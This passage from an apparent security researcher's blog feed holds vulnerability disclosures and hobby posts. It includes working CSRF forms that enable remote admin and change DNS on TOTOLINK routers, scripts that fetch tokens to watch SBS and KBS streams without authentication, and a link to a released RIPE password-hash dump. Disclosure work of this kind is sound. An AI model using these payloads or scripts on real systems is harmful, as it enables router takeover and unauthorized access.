16            0x10            bzip2 compressed data, block size = 900k
307237        0x4B025         LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
317016        0x4D658         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3666608 bytes
1337954       0x146A62        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2169904 bytes,  580 inodes, blocksize: 131072 bytes, created: Wed Feb 10 00:30:40 2038
$ cd _*/
$ 7z x *squashfs
Extracting  bin
Extracting  dev
[...]
Everything is Ok
$ strings bin/skt | grep iptables
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
$ tail -n 5 etc/init.d/rcS

# start web server
boa
skt&amp;                                                  &lt;-- backdoor is launched at startup
</code></pre>
<p>I leave security researchers, totolink users and medias to use their own judgment and draw a conclusion about this case.</p>
<p>Regards,</p></content>
    </entry>
    
    <entry>
        <title>Watching SBS and KBS in a remote country</title>
        <link href="2015-08-10-watching-SBS-and-KBS-in-a-remote-country.html"/>
        <content type="html"><p>SBS and KBS are Korean TV networks and they provide TV streaming, but they are using fancy flash players (hello 100% used CPU) and SBS even asks a passport for foreigners to get access to the streams. Koreans can have access after being authentified to their services.</p>
<p>As I have a personal fight to provide access to K-POP for EVERYBODY and because I have to travel to different countries, I've prepared this article that will explain how to watch SBS, KBS1 and KBS2 without authentication.</p>
<p>The <a href="https://en.wikipedia.org/wiki/Real_Time_Messaging_Protocol">RTMP</a> streams are protected using tokens.</p>
<p>A working RTMP request, with the one-time-token:
<img alt="" src="images/sbs-wireshark.png" /></p>
<p>By sniffing the traffic and decompiling the SWFs file, I discovered how to easily generate tokens:</p>
<p>The SWF in SBS website forces the browser to get a token by connecting to API (SBS). The SWFs in KBS* websites get the token directly in the webpage.</p>
<h2>Watching SBS:</h2>
<p>Sending this wget request will provide you the valid secure token:</p>
<pre><code>wget -qO- --user-agent='YOUR_USER_AGENT' \
  'http://api.sbs.co.kr/vod/_v1/Onair_Media_Auth.jsp?playerType=flash&amp;channelPath=sbsch6pc&amp;streamName=sbs1ch63.stream' | sed -e 's/\(.*\)q=\(.*\)/\2/'
TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTO%3D%3D
</code></pre>
<p>This script will allows you to watch SBS:</p>
<pre><code>#!/bin/sh

token=$(wget -qO- --user-agent='YOUR_USER_AGENT' \
  'http://api.sbs.co.kr/vod/_v1/Onair_Media_Auth.jsp?playerType=flash&amp;channelPath=sbsch6pc&amp;streamName=sbs1ch63.stream' | sed -e 's/\(.*\)q=\(.*\)/\2/')
rtmpdump --resume -r "rtmp://nlive.sbs.co.kr/sbsch6pc/sbs1ch63.stream?u=sbs&amp;type=asp&amp;q=${token}" \
  --app "sbsch6pc?u=sbs&amp;type=asp&amp;q=${X}" --flashVer 'MAC 18,0,0,209' \
  -s 'http://vod.sbs.co.kr/onair/NeTVOnAir_1_4_2.swf?dd=9' \
  -t "rtmp://nlive.sbs.co.kr/sbsch6pc?u=sbs&amp;type=asp&amp;q=${X}" \
  -p 'http://vod.sbs.co.kr/onair/onair_index.jsp?Channem=SBS&amp;div=pc_onair' \
  -y "sbs1ch63.stream" | mplayer -
</code></pre>
<h2>Watching KBS1:</h2>
<p>Sending this wget request will provide you the valid secure token:</p>
<pre><code>wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//'
1tv_home.stream?id=2101&amp;si=9&amp;secure=TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENT==&amp;csu=false
</code></pre>
<p>Now using this token is easy.
This script will allows you to watch KBS1:</p>
<pre><code>#!/bin/sh

token=$(wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//')
rtmpdump --resume -r "rtmp://live2.kbs.gscdn.com/1tv_home/_definst_/${token}" \
  --flashVer 'MAC 18,0,0,209' | mplayer -
</code></pre>
<h2>Watching KBS2:</h2>
<p>Sending this wget request will provide you the valid secure token:</p>
<pre><code>wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//'
1tv_home.stream?id=2101&amp;si=9&amp;secure=TOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENTOKENT==&amp;csu=false
</code></pre>
<p>Now using this token is easy.
This script will allows you to watch KBS2:</p>
<pre><code>#!/bin/sh

token=$(wget -qO- --user-agent='YOUR_USER_AGENT' 'http://www.kbs.co.kr/player/player_playlist.php?ch=11' | awk '/movieListVstream/{ print $4 }' | sed -e 's/\["//;s/"\];//')
rtmpdump --resume -r "rtmp://live2.kbs.gscdn.com/2tv_home/_definst_/${token}" \
  --flashVer 'MAC 18,0,0,209' | mplayer -
</code></pre>
<p>Now, Enjoy K-POP while finding 0days ~~~~~~~~~~~~</p></content>
    </entry>
    
    <entry>
        <title>updated - 172 ipTIME router models vulnerable to an unauthenticated RCE by sending a crafted DHCP request</title>
        <link href="2015-07-27-172-iptime-router-models-unauthenticated-RCE-with-DHCP-updated.html"/>
        <content type="html"><p><a href="http://www.cnet.co.kr/view/100140730">ipTIME responded to CNET Korea about the DHCP RCE on 2015-07-22</a> - <a href="http://pierrekim.github.io/blog/2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html">Original advisory</a>.</p>
<p>ipTIME released the 9.78 firmwares for 116 routers and finally credited my work. 172 products are affected in total and 9.72 firmwares will be released soon for all the router models to patch the security problem.</p>
<p>References:</p>
<ul>
<li><a href="http://iptime.com/iptime/?page_id=16&amp;uid=16563&amp;mod=document">X</a></li>
<li><a href="http://iptime.com/iptime/?page_id=16&amp;uid=16572&amp;mod=document">X</a></li>
<li><a href="http://iptime.com/iptime/?page_id=16&amp;uid=16582&amp;mod=document">X</a></li>
<li><a href="http://iptime.com/iptime/?page_id=16&amp;uid=16609&amp;mod=document">X</a></li>
<li><a href="http://iptime.com/iptime/?page_id=16&amp;uid=16678&amp;mod=document">X</a></li>
</ul></content>
    </entry>
    
    <entry>
        <title>Why Full Disclosure is the solution ? An example with RIPE</title>
        <link href="2015-07-22-why-full-disclosure-is-the-solution-an-examble-with-ripe.html"/>
        <content type="html"><p><strong>TL;DR: <a href="https://mega.co.nz/#!xMIxHZCT!EgWNb65ERsTf5URgBNq8VW_flzXSNbO3URwE0nqtsXY">hashes list from the RIPE database has been posted to MEGA, containing usable hashes from 2011 to July 2015.</a></strong></p>
<p>The human is reluctant to change. Full Disclosure is, sometimes, the only solution to improve Security by forcing the change.</p>
<p><a href="https://en.wikipedia.org/wiki/RIPE">RIPE, Reseau IP Europeen, is in charge of IP allowance in Europe</a>.</p>
<p>In 2011, I had grabbed all the authentication MD5s of the RIPE  database before
they  were taken out from the public view and RIPE asked people to change their passwords.
These MD5s were public-made available in WHOIS reponses for years.</p>
<p>I don't think I was the only security researcher who downloaded all the hashes. Clearly, there were a lot of people who had this database.
The 36.000 hashes stayed in my hard disk for 4 years.</p>
<p>Finding them again in 2015 in my $HOME, some may have wanted to deface the WHOIS RIPE database by inserting giant ASCII penises everywhere and changing IP attributions. Instead, I contacted the RIPE NCC Information Security Officer and then the RIPE Database Working Group Members, hoping to have open discussions and find a solution:</p>
<ul>
<li><a href="https://www.ripe.net/ripe/mail/archives/db-wg/2015-May/004554.html">[db-wg] MD5s of the RIPE database, Deprecation of MD5 and safe authentication methods</a></li>
</ul>
<p>As I said in the first email:</p>
<pre><code>According to the RIPE transparency, as recommended by RIPE NCC
Security, therefore I am now contacting this working group to work
together because deprecation of MD5 is an important change in the RIPE
database and it must be debated in a democratic manner.

This john-compatible file (containing MNT logins and MD5 hashs) was
never exposed to public but the  hashes  can  be  (VERY) easily
cracked. From the discussion with RIPE Security (who received a copy
of this file), 27.000 usable hashes (on a total of 36.000) appeared to
be valid til now.

When I discussed it with RIPE NCC Security, I gave a 90 day disclosure
policy about this "public" information, starting from the 16 Apr 2015.
The 90 day period can be adjusted by adding more days at the end if
RIPE shows a good progress of the migration. I wanted to do
responsible disclosure when I saw the RIPE Responsible Disclosure
Policy which is a Really Good Thing, I think.

My analysis is simple: The MD5 authentication is broken for years and
it's time to change to a more secure method. I think people needs to
be encouraged to move to SSO authentication. Using MD5 now is unsafe
and dangerous, especially with unchanged 4 year-old passwords.

Please share your thoughts about this situation. I will be happy to
debate with you.
</code></pre>
<p>After a debate with the RIPE working group about the impact of the fact 27.000 hashes were still usable (75% of total valid hashes 36.000) and  MD5 is prone to collision attacks, and
the ethics in releasing this information, which was not the point, I think, RIPE changed the affected passwords and encouraged stronger authentication methods.</p>
<p>You can read all the posts in the RIPE public mailing list, database working group archives:</p>
<ul>
<li><a href="https://www.ripe.net/ripe/mail/archives/db-wg/2015-May/004554.html">https://www.ripe.net/ripe/mail/archives/db-wg/2015-May/004554.html</a></li>
<li><a href="https://www.ripe.net/ripe/mail/archives/db-wg/2015-June/004665.html">https://www.ripe.net/ripe/mail/archives/db-wg/2015-June/004665.html</a></li>
</ul>
<p><a href="https://www.ripe.net/ripe/mail/archives/db-wg/2015-July/004709.html">Now that all the hashes are invalid from July 2015</a>, <a href="https://mega.co.nz/#!xMIxHZCT!EgWNb65ERsTf5URgBNq8VW_flzXSNbO3URwE0nqtsXY">I am releasing the database</a>. These informations were PUBLIC before 2011.
Releasing the hashes is still subject to ethical problems. The release is expected to allow people to study the strengh of the hashes. Again, the hashes (and the decrypted passwords) are now UNUSABLE to anyone.</p>
<p>I want to thank all the RIPE participants in the Database Working Group for exchanging their opinions about this problem, especialy Tim Bruijnzeels and Ivo Dijkhuis, from RIPE. Even if, sometimes, we didn't share the same ideas, the debate was democractic allowing people to share their visions of improving security in RIPE. I really think RIPE managed this problem in an effective manner, improving the security of their IT infrastructure.</p>
<p>RIPE has a blogpost explaing how to migrate to a safer authentication method here:</p>
<ul>
<li><a href="https://labs.ripe.net/Members/AlexBand/pgp-in-the-ripe-database">https://labs.ripe.net/Members/AlexBand/pgp-in-the-ripe-database</a></li>
</ul>
<h2>Now, a small personal analysis:</h2>
<p>In Twitter, Blogs and vulnerability reports, we are speaking about 0days and new exploitation techniques: I consider it's very important.</p>
<p>But I really think too there is a big gap between the research in security and the reality. Companies are mainly hacked using word macros and lazy sysadmins.</p>
<p>It is a VERY bad sign in IT Security that:</p>
<ul>
<li>75% of the passwords in RIPE were not changed for 4 years and these concern mainly IT professional accounts, even though RIPE alerted them to change the passwords since 2011</li>
<li>We still find reluctant opinions to challenge the current situation and make necessary actions in improving IT security.</li>
</ul>
<p>Mentality needs to change. Apparently, for some people, this disclosure of information is unethical. This was not the problem of ethics but protection of private information. A lot of people had the RIPE credentials in their hands and something needs to be done.</p>
<p>So now, enjoy the show. <a href="https://mega.co.nz/#!xMIxHZCT!EgWNb65ERsTf5URgBNq8VW_flzXSNbO3URwE0nqtsXY">The hashes list, as a john-compatible file, is available at MEGA</a>.</p>
<p>Note: this email has been sent to Full-Disclosure and has been blogposted to: <a href="https://pierrekim.github.io/blog/2015-07-22-why-full-disclosure-is-the-solution-an-examble-with-ripe.html">https://pierrekim.github.io/blog/2015-07-22-why-full-disclosure-is-the-solution-an-examble-with-ripe.html</a>.</p>
<p>Regards,</p></content>
    </entry>
    
    <entry>
        <title>Using Linux (Debian 8) on a LG 13ZD950</title>
        <link href="2015-07-22-using-linux-on-a-lg-13zd950.html"/>
        <content type="html"><p>The <a href="http://search.daum.net/search?q=LG+13ZD950">LG 13ZD950</a> is a very light laptop (980g). It's the new version of the LG 13ZD940.
Currently this laptop can be bought in South Korea.
There are a lot of different models.  Mine is equiped with a i3-5005U CPU, 8GB DDR3L and a 128GB SSD.
Debian 8 doesn't fully support Broadwell graphics but the backports can fix this.
In short, everything works well using backports.
  <img alt="" src="images/lg-13zd950.jpg" /></p>
<h2>Display:</h2>
<pre><code>$ xrandr
Screen 0: minimum 8 x 8, current 1920 x 1080, maximum 32767 x 32767
eDP1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 293mm x 165mm
1920x1080     60.02*+  59.93
1680x1050     59.95    59.88
1600x1024     60.17
1400x1050     59.98
1280x1024     60.02
1440x900      59.89
1280x960      60.00
1360x768      59.80    59.96
1152x864      60.00
1024x768      60.00
800x600       60.32    56.25
640x480       59.94
HDMI1 disconnected (normal left inverted right x axis y axis)
VIRTUAL1 disconnected (normal left inverted right x axis y axis)
</code></pre>
<p>Before installing drivers for HD5500:</p>
<pre><code>$ glxinfo | grep OpenGL
OpenGL vendor string: VMware, Inc.
OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 256 bits)
OpenGL version string: 3.0 Mesa 10.3.2
OpenGL shading language version string: 1.30
OpenGL context flags: (none)
OpenGL extensions:
</code></pre>
<p>After:</p>
<pre><code>$ glxinfo | grep OpenGL
OpenGL vendor string: Intel Open Source Technology Center
OpenGL renderer string: Mesa DRI Intel(R) HD Graphics 5500 (Broadwell GT2)
OpenGL core profile version string: 3.3 (Core Profile) Mesa 10.3.2
OpenGL core profile shading language version string: 3.30
OpenGL core profile context flags: (none)
OpenGL core profile profile mask: core profile
OpenGL core profile extensions:
OpenGL version string: 3.0 Mesa 10.3.2
OpenGL shading language version string: 1.30
OpenGL context flags: (none)
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 3.0 Mesa 10.3.2
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.0
OpenGL ES profile extensions:
</code></pre>
<p>Installing HD5500 drivers:</p>
<p>Add this to /etc/apt/sources.list:</p>
<pre><code>deb http://http.debian.net/debian jessie-backports main
</code></pre>
<p>Then</p>
<pre><code># apt-get update
# apt-get -t jessie-backports install xserver-xorg-video-intel
</code></pre>
<h2>SSD:</h2>
<p>from S.M.A.R.T.:</p>
<pre><code>=== START OF INFORMATION SECTION ===
Device Model:     HFS128G36MNB-2300A
Serial Number:    XXXXXXXXXXXXXXXXX
Firmware Version: 10105L00
User Capacity:    128,035,676,160 bytes [128 GB]
Sector Size:      512 bytes logical/physical
Rotation Rate:    Solid State Device
Device is:        Not in smartctl database [for details use: -P showall]
ATA Version is:   ATA8-ACS (minor revision not indicated)
SATA Version is:  SATA 3.1, 6.0 Gb/s (current: 6.0 Gb/s)
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
</code></pre>
<p>Benchmarking:</p>
<pre><code># hdparm -tT /dev/sda

/dev/sda:
Timing cached reads:   6924 MB in  2.00 seconds = 3463.82 MB/sec
Timing buffered disk reads: 1380 MB in  3.00 seconds = 459.29 MB/sec
</code></pre>
<p>460MB/sec in reading mode is quite good.</p>
<h2>CPU:</h2>
<pre><code>Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                4
On-line CPU(s) list:   0-3
Thread(s) per core:    2
Core(s) per socket:    2
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 61
Model name:            Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz
Stepping:              4
CPU MHz:               2000.000
CPU max MHz:           2000.0000
CPU min MHz:           500.0000
BogoMIPS:              3990.92
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              3072K
NUMA node0 CPU(s):     0-3
</code></pre>
<p>CPU Flags:</p>
<pre><code>flags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap
</code></pre>
<h2>Encryption Benchmarking (grep -i aes /proc/cpuinfo):</h2>
<p>AES-128-CBC without AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-128 cbc      79218.44k    87596.05k    89851.03k    90191.53k    88001.19k
</code></pre>
<p>AES-128-CBC with AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-128-cbc     408583.33k   438564.63k   446640.47k   448723.97k   449306.62k
</code></pre>
<p>AES-256-CBC without AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-256 cbc      58418.36k    62665.13k    63112.87k    63973.72k    64217.09k
</code></pre>
<p>AES-256-CBC with AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-256-cbc     300206.54k   316254.66k   320890.28k   322990.83k   322144.94k
</code></pre>
<p>AES-128-XTS with AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-128-xts     297439.41k   902695.81k  1595138.22k  2103062.19k  2308871.51k
</code></pre>
<p>AES-256-XTS with AESNI</p>
<pre><code>The 'numbers' are in 1000s of bytes per second processed.
type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes
aes-256-xts     225793.73k   652700.97k  1182342.40k  1568823.64k  1723970.90k
</code></pre>
<p>I recommend AES-256-XTS with AESNI for the awesome performances (1,5GB/s for 1024bytes and 1.7GB/s for 8K)</p>
<h2>Physical Ports:</h2>
<ul>
<li>1 HDMI - works</li>
<li>2 USB3 - work</li>
<li>1 mini-usb (for the 10/100 RJ45 adapter) - work (see below)</li>
<li>1 port power supply</li>
<li>1 jack port - works</li>
<li>1 micro-sd port - works (mmc0)</li>
</ul>
<h2>TouchPad:</h2>
<p>It works perfectly.</p>
<p>Use these settings for better usability:</p>
<pre><code>$ synclient VertEdgeScroll=1
$ synclient TapButton1=1
$ synclient VertTwoFingerScroll=1
</code></pre>
<h2>FN-Keys:</h2>
<ul>
<li>Brightness+ works by default</li>
<li>Brightness- works by default</li>
<li>Sound+ works by default</li>
<li>Sound- works by default</li>
<li>Sound-Remove works by default</li>
<li>Contrast-Change works by default</li>
<li>Suspend works by default</li>
</ul>
<h2>Network:</h2>
<p>Wifi: you have to install firmware-iwlwifi to enable the wifi.</p>
<pre><code># apt-get install firmware-iwlwifi


$ /sbin/ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr cc:3d:01:23:45:67
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
</code></pre>
<p>10/100 RJ45 using the LG external connector:</p>
<pre><code>usb 1-5: new high-speed USB device number 5 using xhci_hcd
usb 1-5: New USB device found, idVendor=0bda, idProduct=8152
usb 1-5: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-5: Product: USB 10/100 LAN
usb 1-5: Manufacturer: Realtek
usb 1-5: SerialNumber: 00E040123456
usbcore: registered new interface driver r8152
usbcore: registered new interface driver cdc_ether
usb 1-5: reset high-speed USB device number 5 using xhci_hcd
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4600
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4648
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4690
r8152 1-5:1.0 eth0: v1.06.0 (2014/03/03)
IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready

$ /sbin/ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:e0:40:12:34:56
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
</code></pre>
<h2>Webcam:</h2>
<p>webcam works by default (as /dev/video0 with V4L)</p>
<pre><code>usb 1-7: new high-speed USB device number 6 using xhci_hcd
usb 1-7: New USB device found, idVendor=2232, idProduct=5005
usb 1-7: New USB device strings: Mfr=3, Product=1, SerialNumber=2
usb 1-7: Product: LG HD WebCam
usb 1-7: Manufacturer: Generic
usb 1-7: SerialNumber: 200900000000
uvcvideo: Found UVC 1.00 device LG HD WebCam (2232:5005)
input: LG HD WebCam as /devices/pci0000:00/0000:00:14.0/usb1/1-7/1-7:1.0/input/input27
</code></pre>
<h2>lspci:</h2>
<pre><code>00:00.0 Host bridge: Intel Corporation Broadwell-U Host Bridge -OPI (rev 09)
00:02.0 VGA compatible controller: Intel Corporation Broadwell-U Integrated Graphics (rev 09)
00:03.0 Audio device: Intel Corporation Broadwell-U Audio Controller (rev 09)
00:04.0 Signal processing controller: Intel Corporation Broadwell-U Camarillo Device (rev 09)
00:14.0 USB controller: Intel Corporation Wildcat Point-LP USB xHCI Controller (rev 03)
00:16.0 Communication controller: Intel Corporation Wildcat Point-LP MEI Controller #1 (rev 03)
00:1b.0 Audio device: Intel Corporation Wildcat Point-LP High Definition Audio Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation Wildcat Point-LP PCI Express Root Port #1 (rev e3)
00:1d.0 USB controller: Intel Corporation Wildcat Point-LP USB EHCI Controller (rev 03)
00:1f.0 ISA bridge: Intel Corporation Wildcat Point-LP LPC Controller (rev 03)
00:1f.2 SATA controller: Intel Corporation Wildcat Point-LP SATA Controller [AHCI Mode] (rev 03)
00:1f.3 SMBus: Intel Corporation Wildcat Point-LP SMBus Controller (rev 03)
01:00.0 Network controller: Intel Corporation Wireless 7260 (rev bb)
</code></pre>
<h2>Misc:</h2>
<ul>
<li>Suspend-to-RAM works</li>
<li>Sound works</li>
</ul>
<h2>Untested:</h2>
<ul>
<li>bluetooth</li>
</ul>
<h1>Final Conclusion:</h1>
<p>Everything works. The laptop is very light and has great performances.
Note that this laptop can be ordered without Windows, and <a href="https://pierrekim.github.io/blog/2015-06-09-recovering-windows-on-a-windows-free-lg-laptop.html">Windows can be recovered in the "Windows-Free" SSD</a>.</p></content>
    </entry>
    
    <entry>
        <title>4 TOTOLINK router models vulnerable to CSRF and XSS attacks</title>
        <link href="2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html"/>
        <content type="html"><pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: 4 TOTOLINK router models vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x01.txt
Blog URL: http://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.



## Vulnerability Summary

TOTOLINK iPuppy, iPuppy3, N100RE and N200RE are wireless LAN routers. Their current firmwares with default configuration are
vulnerable to CSRF-attacks and XSS attacks.
Since, the anti-CSRF protection is based on a static HTTP referrer (RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of the router. Owners are urged to
contact TOTOLINK, and activate authentication on this product (disabled by default).

It affects (firmwares come from totolink.net and from totolink.cn):

- TOTOLINK iPuppy : firmware 1.2.1 (TOTOLINK iPuppy__V1.2.1.update)
- TOTOLINK iPuppy3 : firmware 1.0.2 (TOTOLINK iPuppy3_V1.0.2.update)
- TOTOLINK N100RE-V1 : firmware V1.1-B20140723-2-432-EN (TOTOLINK-N100RE-IP04216-RT5350-SPI-1M8M-V1.1-B20140723-2-432-EN.update)
- TOTOLINK N200RE : firmware V1.4-B20140724-2-457-EN (TOTOLINK-N200RE-IP04220-MT7620-SPI-1M8M-V1.4-B20140724-2-457-EN.update)



## Details - CSRF

The HTTP interface allows to edit the configuration. This interface is vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:
- Activate the remote control management
- Change the DNS configuration
- Update the firmware
- Change the Wifi Configuration
- Create TCP redirections to the LAN
- and more...


Example of forms exploiting the CSRF:


o Activating the remote control management on port 31337/tcp listening on the WAN interface.

&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
function s() {
document.f.submit();
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="s()"&gt;
&lt;form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm"&gt;
&lt;input type="hidden" name="CMD" value="SYS"&gt;
&lt;input type="hidden" name="GO" value="firewallconf_accesslist.html"&gt;
&lt;input type="hidden" name="nowait" value="1"&gt;
&lt;input type="hidden" name="SET0" value="17367296=31337"&gt;
&lt;input type="hidden" name="SET1" value="17236224=1"&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;


o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
function s() {
document.f.submit();
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="s()"&gt;
&lt;form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm"&gt;
&lt;input type="hidden" name="CMD" value="WAN"&gt;
&lt;input type="hidden" name="GO" value="netconf_wansetup.html"&gt;
&lt;input type="hidden" name="SET0" value="50397440=2"&gt;
&lt;input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA"&gt;
&lt;input type="hidden" name="SET2" value="235077888=1"&gt;
&lt;input type="hidden" name="SET3" value="235012865=0.2.0.7"&gt;
&lt;input type="hidden" name="SET4" value="235012866=1.2.0.1"&gt;
&lt;input type="hidden" name="SET5" value="51118336=0"&gt;
&lt;input type="hidden" name="SET6" value="51839232=1"&gt;
&lt;input type="hidden" name="SET7" value="51511552=1500"&gt;
&lt;input type="hidden" name="SET8" value="117834240="&gt;
&lt;input type="hidden" name="SET9" value="117703168="&gt;
&lt;input type="hidden" name="SET10" value="117637376=1492"&gt;
&lt;input type="hidden" name="SET11" value="51446016=1500"&gt;
&lt;input type="hidden" name="SET12" value="50463488=192.168.1.1"&gt;
&lt;input type="hidden" name="SET13" value="50529024=255.255.255.0"&gt;
&lt;input type="hidden" name="SET14" value="50594560=192.168.1.254"&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;


The variable GO is an open redirect. Any URL like http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.


To bypass the protection (which checks the refer), you can, for example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:



o activate_admin_wan_csrf_bypass.html:

&lt;html&gt;
&lt;head&gt;
